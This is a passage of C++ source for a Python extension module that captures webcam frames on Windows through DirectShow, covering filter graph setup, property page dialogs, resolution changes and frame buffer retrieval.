hr = pMoniker->BindToObject(0, 0, IID_IBaseFilter, (void**)&self->ob_pSrc);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Binding the moniker to a filter object failed.");
cleanup(self);
return FALSE;
}
}
// Obtain friendly name for Moniker
// http://msdn.microsoft.com/en-us/library/windows/desktop/dd407292%28v=vs.85%29.aspx
hr = pMoniker->BindToStorage(0, 0, IID_IPropertyBag, (void **)&self->ob_pPropBag);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Fetching the moniker property bag failed.");
cleanup(self);
return FALSE;
}
pMoniker->Release();
// Now add the capture filter to the graph
hr = self->ob_pGraph->AddFilter(self->ob_pSrc, L"VideoCapture");
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Adding the capture filter to the filter graph failed.\n Device maybe not connected or already in use.");
cleanup(self);
return FALSE;
}
// Adding the Sample Grabber to the Filter Graph
// =============================================
IBaseFilter *pF = NULL;
AM_MEDIA_TYPE mt;
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC,
IID_IBaseFilter, (LPVOID *)&pF);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Creation of the sample grabber failed.");
cleanup(self);
return FALSE;
}
hr = pF->QueryInterface(IID_ISampleGrabber, (void **)&self->ob_pGrab);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Sample grabber interface could not be found.");
cleanup(self);
return FALSE;
}
hr = self->ob_pGraph->AddFilter(pF, L"Grabber");
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Adding the sample grabber to the filter graph failed.");
cleanup(self);
return FALSE;
}
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24;
mt.formattype = FORMAT_VideoInfo;
hr = self->ob_pGrab->SetMediaType(&mt);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Setting the media type of the sample grabber failed.");
cleanup(self);
return FALSE;
}
/* IBaseFilter *pNullRenderer = NULL;
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC,
IID_IBaseFilter, (LPVOID *)&pNullRenderer);
hr = self->ob_pGraph->AddFilter(pNullRenderer, L"Nuller");
*/
// Rendering the Streams
// =====================
hr = self->ob_pBuilder->RenderStream(
&PIN_CATEGORY_CAPTURE, // changed from ..._PREVIEW to ..._CAPTURE
&MEDIATYPE_Video,
self->ob_pSrc, // src
pF, // via
NULL // dest ; or pNullRenderer
);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Capture Graph could not be created.");
cleanup(self);
return FALSE;
}
pF->Release();
//pNullRenderer->Release();
// Controlling a Capture Graph
// ===========================
if (!self->showVideoWindow)
{
IVideoWindow *pWindow;
hr = self->ob_pGraph->QueryInterface(IID_IVideoWindow, (void **)&pWindow);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Video Window interface could not be found.");
cleanup(self);
return FALSE;
}
hr = pWindow->put_AutoShow(OAFALSE);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Video Window hiding failed.");
cleanup(self);
return FALSE;
}
pWindow->Release();
}
hr = self->ob_pGraph->QueryInterface(IID_IMediaControl, (void **)&self->ob_pControl);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Media control interface could not be found.");
cleanup(self);
return FALSE;
}
hr = self->ob_pGrab->SetBufferSamples(TRUE);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Setting up buffering of samples failed.");
cleanup(self);
return FALSE;
}
// Set up one-shot mode.
hr = self->ob_pGrab->SetOneShot(FALSE);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Setting up non-one-shot mode of the sample grabber failed.");
cleanup(self);
return FALSE;
}
//self->ob_pSrc->SetSyncSource(NULL); // Turn off the reference clock.
/*
Once the filtergraph was started, the resolution of my webcam can not be changed.
Workaround: So it is started in Dev_getbuffer() (fixme: xxx)
This is only an intermediate solution, since this way changing the solution works
only if no snapshot has already been taken.
Update 18.9.2003: Seems to work now since
teardown(self); //xxx Better *do* teardown and
initialize(self); //xxx initialize for my Webcam.
have been inserted into Dev_displaycapturefilterproperties().
*/
/*
hr = self->ob_pControl->Run(); // Run the graph.
if (FAILED(hr)) // The graph is preparing to run, but some filters have
{ // not completed the transition to a running state.
OAFilterState pfs;
hr = self->ob_pControl->GetState(6000, &pfs);
if (FAILED(hr))
{
switch (hr)
{
case VFW_S_STATE_INTERMEDIATE:
PyErr_SetString(VidcapError, "Running the capture graph failed (filter graph still in transition).");
break;
case VFW_S_CANT_CUE:
PyErr_SetString(VidcapError, "Running the capture graph failed (cannot cue data).");
break;
case E_FAIL:
PyErr_SetString(VidcapError, "Running the capture graph failed (failure).");
break;
default:
PyErr_SetString(VidcapError, "UNKNOWN CASE!!");
}
return NULL;
}
}
*/
return TRUE;
}
static DevObject *
newDevObject(PyObject *args)
{
DevObject *self;
self = PyObject_New(DevObject, &Dev_Type);
if (self == NULL)
return NULL;
if (!PyArg_ParseTuple(args, "ii:newDev", &self->devnum, &self->showVideoWindow))
return NULL;
self->ob_pGraph = NULL;
self->ob_pBuilder = NULL;
self->ob_pSrc = NULL;
self->ob_pGrab = NULL;
self->ob_pControl = NULL;
self->ob_pPropBag = NULL;
if (initialize(self))
return self;
else
return NULL;
}
static void
Dev_dealloc(DevObject *self)
{
cleanup(self);
PyObject_Del(self);
}
static void
teardown(DevObject *self)
{
if (self->ob_pControl != NULL)
self->ob_pControl->Stop();
if (self->ob_pControl != NULL)
self->ob_pControl->Release();
self->ob_pControl = NULL;
if (self->ob_pGrab != NULL)
self->ob_pGrab->Release();
self->ob_pGrab = NULL;
// don't touch self->ob_pSrc
if (self->ob_pBuilder != NULL)
self->ob_pBuilder->Release();
self->ob_pBuilder = NULL;
if (self->ob_pGraph != NULL)
self->ob_pGraph->Release();
self->ob_pGraph = NULL;
if (self->ob_pPropBag != NULL)
self->ob_pPropBag->Release();
self->ob_pPropBag = NULL;
}
/*
// Tear down everything downstream of a given filter
static void
NukeDownstream(DevObject *self, IBaseFilter *pf)
{
//DbgLog((LOG_TRACE,1,TEXT("Nuking...")));
IPin *pP, *pTo;
ULONG u;
IEnumPins *pins = NULL;
PIN_INFO pininfo;
HRESULT hr = pf->EnumPins(&pins);
pins->Reset();
while(hr == NOERROR) {
hr = pins->Next(1, &pP, &u);
if(hr == S_OK && pP) {
pP->ConnectedTo(&pTo);
if(pTo) {
hr = pTo->QueryPinInfo(&pininfo);
if(hr == NOERROR) {
if(pininfo.dir == PINDIR_INPUT) {
NukeDownstream(self, pininfo.pFilter);
self->ob_pGraph->Disconnect(pTo);
self->ob_pGraph->Disconnect(pP);
self->ob_pGraph->RemoveFilter(pininfo.pFilter);
}
pininfo.pFilter->Release();
}
pTo->Release();
}
pP->Release();
}
}
if(pins)
pins->Release();
}
*/
static PyObject *
Dev_displaypropertypage(DevObject *self, PyObject *args)
{
MessageBox(NULL,
TEXT("displayPropertyPage() is deprecated.\nUse displayCaptureFilterProperties() and displayCapturePinProperties() instead!"),
TEXT("VideoCapture Warning"),
MB_OK | MB_ICONWARNING | MB_TASKMODAL);
HRESULT hr;
hr = self->ob_pControl->Stop(); //xxx
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Stopping the capture graph failed.");
return NULL;
}
//NukeDownstream(self, self->ob_pSrc);
ISpecifyPropertyPages *pProp;
hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages, (void **)&pProp);
if (SUCCEEDED(hr))
{
// Get the filter's name and IUnknown pointer.
FILTER_INFO FilterInfo;
self->ob_pSrc->QueryFilterInfo(&FilterInfo);
IUnknown *pFilterUnk;
self->ob_pSrc->QueryInterface(IID_IUnknown, (void **)&pFilterUnk);
HWND topwindow = GetTopWindow(NULL);
// Show the page.
CAUUID caGUID;
pProp->GetPages(&caGUID);
pProp->Release();
OleCreatePropertyFrame(
topwindow, // Parent window
0, 0, // xoffset, yoffset
FilterInfo.achName, // Caption for the dialog box
1, // Number of objects (just the filter)
&pFilterUnk, // Array of object pointers.
caGUID.cElems, // Number of property pages
caGUID.pElems, // Array of property page CLSIDs
0, // Locale identifier
0, NULL // Reserved
);
// Clean up.
pFilterUnk->Release();
FilterInfo.pGraph->Release();
CoTaskMemFree(caGUID.pElems);
teardown(self); //xxx
if (initialize(self))
{
Py_INCREF(Py_None);
return Py_None;
}
else
{
return NULL;
}
}
else
{
PyErr_SetString(VidcapError, "Querying the filter for its property pages failed.");
return NULL;
}
}
static PyObject *
Dev_displaycapturefilterproperties(DevObject *self, PyObject *args)
{
bool everything_ok = false;
HRESULT hr;
hr = self->ob_pControl->Stop();
ISpecifyPropertyPages *pSpec;
CAUUID cauuid;
hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages,
(void **)&pSpec);
if(hr == S_OK) {
hr = pSpec->GetPages(&cauuid);
if(hr == S_OK && cauuid.cElems > 0) {
teardown(self); //xxx Better *do* teardown and
initialize(self); //xxx initialize for my Webcam.
hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,
(IUnknown **)&self->ob_pSrc, cauuid.cElems,
(GUID *)cauuid.pElems, 0, 0, NULL);
everything_ok = true;
CoTaskMemFree(cauuid.pElems);
}
pSpec->Release();
}
if (everything_ok)
{
teardown(self); //xxx
if (initialize(self))
{
Py_INCREF(Py_None);
return Py_None;
}
else
{
return NULL;
}
}
else
{
PyErr_SetString(VidcapError, "Querying the capture filter for its property pages failed.");
return NULL;
}
}
static PyObject *
Dev_displaycapturepinproperties(DevObject *self, PyObject *args)
{
bool everything_ok = false;
HRESULT hr;
hr = self->ob_pControl->Stop();
IAMStreamConfig *pSC;
hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
&MEDIATYPE_Interleaved, self->ob_pSrc,
IID_IAMStreamConfig, (void **)&pSC);
if(hr != S_OK)
hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
&MEDIATYPE_Video, self->ob_pSrc,
IID_IAMStreamConfig, (void **)&pSC);
if(hr == S_OK){
ISpecifyPropertyPages *pSpec;
CAUUID cauuid;
hr = pSC->QueryInterface(IID_ISpecifyPropertyPages,
(void **)&pSpec);
if(hr == S_OK) {
hr = pSpec->GetPages(&cauuid);
if(hr == S_OK && cauuid.cElems > 0) {
//teardown(self); //xxx Better do *not* teardown and
//initialize(self); //xxx initialize for my TV-card.
hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,
(IUnknown **)&pSC, cauuid.cElems,
(GUID *)cauuid.pElems, 0, 0, NULL);
everything_ok = true;
CoTaskMemFree(cauuid.pElems);
}
pSpec->Release();
}
pSC->Release();
}
if (everything_ok)
{
teardown(self); //xxx
if (initialize(self))
{
Py_INCREF(Py_None);
return Py_None;
}
else
{
return NULL;
}
}
else
{
PyErr_SetString(VidcapError, "Querying the capture pin for its property pages failed.");
return NULL;
}
}
// contributed by Jeremy Mortis <mortis@tansay.ca>
static PyObject *
Dev_getdisplayname(DevObject *self, PyObject *args)
{
HRESULT hr;
VARIANT varName;
VariantInit(&varName);
if (self->ob_pPropBag == NULL)
{
PyErr_SetString(VidcapError, "No device properties available.");
return NULL;
}
hr = self->ob_pPropBag->Read(L"FriendlyName", &varName, 0);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Unable to obtain display name.");
return NULL;
}
char buffer[100];
wcstombs(buffer, varName.bstrVal, 100);
PyObject *value;
value = Py_BuildValue("s", buffer);
VariantClear(&varName);
return value;
}
// contributed by Don Kimber <kimber@fxpal.com>
static PyObject *
Dev_setresolution(DevObject *self, PyObject *args)
{
HRESULT hr;
int width, height;
char* errStr = NULL;
bool everything_ok = false;
if (!PyArg_ParseTuple(args, "ii:newDev", &width, &height))
return NULL;
hr = self->ob_pControl->Stop();
IAMStreamConfig *pSC;
// pSC->SetFormat(pmt);
hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
&MEDIATYPE_Interleaved, self->ob_pSrc,
IID_IAMStreamConfig, (void **)&pSC);
if(hr != S_OK)
hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
&MEDIATYPE_Video, self->ob_pSrc,
IID_IAMStreamConfig, (void **)&pSC);
if(hr == S_OK){
AM_MEDIA_TYPE* pmt;
hr = pSC->GetFormat(&pmt);
if (hr == S_OK) {
if (pmt->formattype == FORMAT_VideoInfo) {
VIDEOINFOHEADER *pVih = reinterpret_cast<VIDEOINFOHEADER*>(pmt->pbFormat);
pVih->bmiHeader.biWidth=width;
pVih->bmiHeader.biHeight=height;
hr = pSC->SetFormat(pmt);
if (hr == S_OK)
everything_ok = true;
else {
errStr = "Cannot set capture resolution.";
}
}
else {
errStr = "Cannot query capture format.";
}
DeleteMediaType(pmt);
}
pSC->Release();
}
if (everything_ok) {
teardown(self); //xxx
if (initialize(self))
{
Py_INCREF(Py_None);
return Py_None;
}
else
{
PyErr_SetString(VidcapError, "Problem after setting the capture resolution.");
return NULL;
}
}
else {
if (errStr == NULL)
errStr = "Setting the capture resolution failed.";
PyErr_SetString(VidcapError, errStr);
return NULL;
}
}
static PyObject *
Dev_getbuffer(DevObject *self, PyObject *args)
{
HRESULT hr;
AM_MEDIA_TYPE MediaType;
hr = self->ob_pGrab->GetConnectedMediaType(&MediaType);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Getting the sample grabber's connected media type failed.");
return NULL;
}
// Get a pointer to the video header.
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)MediaType.pbFormat;
long size = pVideoHeader->bmiHeader.biSizeImage;
long width = pVideoHeader->bmiHeader.biWidth;
long height = pVideoHeader->bmiHeader.biHeight;
// Free the format block
//FreeMediaType(MediaType); // this would need the DirectShow Base Classes
CoTaskMemFree(MediaType.pbFormat);
// Allocate memory.
//void *buffer = malloc(size);
void *buffer = PyMem_Malloc(size);
if (!buffer)
{
PyErr_NoMemory();
return NULL;
}
hr = self->ob_pControl->Run(); // fixme: xxx
// Copy the image into the buffer.
while (true)
{
hr = self->ob_pGrab->GetCurrentBuffer(&size, (long *)buffer);
if (hr == VFW_E_WRONG_STATE)
Sleep(100);
else
break;
}
if (FAILED(hr))
{
switch (hr)
{
case E_INVALIDARG:
PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (Samples are not being buffered).");
break;
case E_POINTER:
PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (NULL pointer argument).");
break;
case VFW_E_NOT_CONNECTED:
PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (The filter is not connected).");
break;
case VFW_E_WRONG_STATE:
PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (The filter did not buffer a sample yet).");
break;
default:
PyErr_SetString(VidcapError, "UNKNOWN CASE!!");
}
PyMem_Free(buffer);
return NULL;
}
// Return the buffer.
PyObject *value;
value = Py_BuildValue("(s#,l,l)", buffer, size, width, height);
//free(buffer);
PyMem_Free(buffer);
return value;
}
static PyMethodDef Dev_methods[] = {
{"displaypropertypage", (PyCFunction)Dev_displaypropertypage, METH_VARARGS},
{"displaycapturefilterproperties", (PyCFunction)Dev_displaycapturefilterproperties, METH_VARARGS},
{"displaycapturepinproperties", (PyCFunction)Dev_displaycapturepinproperties, METH_VARARGS},
{"getdisplayname", (PyCFunction)Dev_getdisplayname, METH_VARARGS},
{"setresolution", (PyCFunction)Dev_setresolution, METH_VARARGS},
{"getbuffer", (PyCFunction)Dev_getbuffer, METH_VARARGS},
{NULL, NULL} /* sentinel */
};
static PyObject *
Dev_getattr(DevObject *self, char *name)
{
return Py_FindMethod(Dev_methods, (PyObject *)self, name);
}
statichere PyTypeObject Dev_Type = {
/* The ob_type field must be initialized in the module init function
* to be portable to Windows without using C++. */
PyObject_HEAD_INIT(NULL)
0, /*ob_size*/
"Dev", /*tp_name*/
sizeof(DevObject), /*tp_basicsize*/
0, /*tp_itemsize*/
/* methods */
(destructor)Dev_dealloc, /*tp_dealloc*/
0, /*tp_print*/
(getattrfunc)Dev_getattr, /*tp_getattr*/
(setattrfunc)0, /*tp_setattr*/
0, /*tp_compare*/
0, /*tp_repr*/
0, /*tp_as_number*/
0, /*tp_as_sequence*/
0, /*tp_as_mapping*/
0, /*tp_hash*/
};
static PyObject *
vidcap_new_Dev(PyObject *self, PyObject *args)
{
DevObject *rv;
rv = newDevObject(args);
if ( rv == NULL )
return NULL;
return (PyObject *)rv;
}
static PyMethodDef vidcap_methods[] = {
{"new_Dev", vidcap_new_Dev, METH_VARARGS},
{NULL, NULL} /* Sentinel */
};
extern "C"
/* platform independent */
#ifdef MS_WIN32
__declspec(dllexport)
#endif
void
initvidcap(void)
{
Dev_Type.ob_type = &PyType_Type;
PyObject *m, *d;
m = Py_InitModule("vidcap", vidcap_methods);
d = PyModule_GetDict(m);
VidcapError = PyErr_NewException("vidcap.Error", NULL, NULL);
PyDict_SetItemString(d, "error", VidcapError);
HRESULT hr;
// Initialize COM.
hr = CoInitialize(NULL);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Initialization of COM failed.");
return;
}
// Register Release COM at exit.
if ( Py_AtExit( (void (__cdecl *)(void))CoUninitialize ) )
{
PyErr_SetString(VidcapError, "Registering CoUninitialize at exit failed.");
CoUninitialize();
return;
}
}

Binary file not shown.

Binary file not shown.